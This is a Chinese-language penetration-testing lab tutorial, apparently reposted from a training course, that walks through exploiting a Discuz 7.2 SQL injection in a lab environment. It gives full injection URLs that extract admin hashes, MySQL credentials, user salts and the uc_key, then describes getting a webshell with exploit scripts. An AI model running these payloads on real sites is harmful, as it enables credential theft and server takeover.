Web安全-Discuz 7.2 版本SQL注入漏洞的利用


實驗聲明:本實驗教程僅供研究學習使用,請勿用於非法用途,違者一律自行承擔所有風險!

Discuz 7.2 版本SQL注入漏洞的利用

本教程僅供網站進行滲透測試,請勿用於非法途徑!!造成任何危害,均由個人負全責!!

實驗目的

  通過本實驗理解SQL注入基本原理由於過程,掌握菜刀和Havij等注入工具的使用方法,了解SQL注入的危害。通過本實驗,掌握SQL注入點識別方法、測試方法、自動化工具使用方法以及進行防御的基本方法。

實驗環境

測試滲透機:win2k8Tester

用戶名: college或test密碼: 360College 工具:Firefox或chrome瀏覽器 目標靶機:Discuz7網站 用戶名: college密碼: 360College 目標網站:http://IP:8082 軟件環境:phpstudy、Discuz7.2 

實驗原理

  作為一種SQL注入攻擊,其核心思想就是在組合的SQL查詢語句中,插入構造的特殊語句,從而實現特定的目的。其關鍵是對目標的漏洞發現、分析和針對漏洞構造特殊的SQL語句,入侵的方式是非常巧妙的。

實驗步驟

第一步 啟動靶機服務器

  以用戶名college或test密碼360College登錄目標靶機。

  然后啟動其中的phpstudy,並點擊界面中的啟動,出現mysql和apache為兩個綠色圓點,表示服務啟動成功。

  啟動phpstudy(桌面圖標):

  如果,顯示不是兩個綠色標志,則等待一會,按下重啟按鈕,再次嘗試。

第二步 滲透平台上的漏洞利用

1.登錄滲透平台,訪問靶機網站

訪問靶機。http://IP:8082 (注意根據查看到的靶機IP地址,修改此處的IP,端口不變,以下截圖中,均應將端口修改為8082)。

2.瀏覽網頁

  點擊其中的鏈接,如果地址欄出現http://***/xx.php?id=XX,則表明目標網站,采用PHP語言開發。

3.手工SQL注入

(1)獲取數據庫版本信息

/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)%23

輸出如下:

可以看到,mysql數據庫版本為:5.5.401.

(2)獲取管理員賬戶密碼

/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

要去掉最后的1

獲得的密文值,要去掉最后的1。 例如: Error: Duplicate entry 'admin'f426eaa50a5c805d360ca4046419c6ba1' for key 'group_key' 密文就是f426eaa50a5c805d360ca4046419c6ba。

(3)獲取數據庫用戶名和密碼

/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(user,0x3a,password,0x3a) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

(4)獲取用戶名、email、密碼和salt信息

/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques) from uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

說明:如果獲取失敗,則將uc_members替換為ucenter.uc_members,再次嘗試。

(5)獲取uc_key

faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,32) from uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23

faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,33,32) from uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23

如果上述語句執行出錯,則:利用 ucenter.uc_applications 替代uc_applications即可.

這里需要注意 由於authkey的長度限制,最大可取62個長度單位,所以采用兩次獲取的方法,先獲取前32位,再獲取后32位.

兩次查詢出錯,返回key的相應值。

Error: Duplicate entry '1:n6Q8Ha78l0K1m3n8ddT5cdk6uba3g7yc:' for key 'group_key' Error: Duplicate entry '1:b7U8ocxcX7O8b5D56dd358sdLew363s7:' for key 'group_key'

對返回的key進行合並,得到最后key :

n6Q8Ha78l0K1m3n8ddT5cdk6uba3g7yc b7U8ocxcX7O8b5D56dd358sdLew363s7

(6)利用UC_KEY來getshell

利用dz72-faq-exp.php腳本(在操作機Tools/PHP運行環境目錄下),可進行get-shell,需要修改網站目標和UC_KEY的值。

$host="http://IP:8082"; //此處只能指定到網站根目錄。如果網站在根目錄下有文件夾,則需要修改腳本中的路徑變量值。

$uc_key="x xxxxxx xxxxxx xxxxxx xxxxxx xxxxxx xx"

放在php.exe的環境里直接getshell. 運行:php.exe dz72-faq-exp.php 成功會顯示。

一句話的地址是http://IP:8082/config.inc.php密碼cmd。

上面獲取shell的步驟有點麻煩,首先要通過注入語句獲取uc_key,然后利用uc_key獲取webshell。 可利用auto-get-shell.py腳本自動完成上面步驟來獲取webshell。

使用方法: python auto-get-shell.py http://IP:8082 N N:為需要獲取的用戶信息數量。

首先取N=1,如果能正常運行,再增大。如果N大於實際用戶數,報錯,但是不影響運行結果。

如果出錯,利用打開auto-get-shell.py,刪除其中的”/Discuz72”,后保存,再運行。 即可得到用戶名和密碼散列值,剩下的就是去cmd5查詢密碼了。

思考與總結

   通過本實驗,體驗到了網站滲透的危害和一種思路過程。也提醒網站運維人員,必須加強安全意識,一個漏洞就可能讓網站失控。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM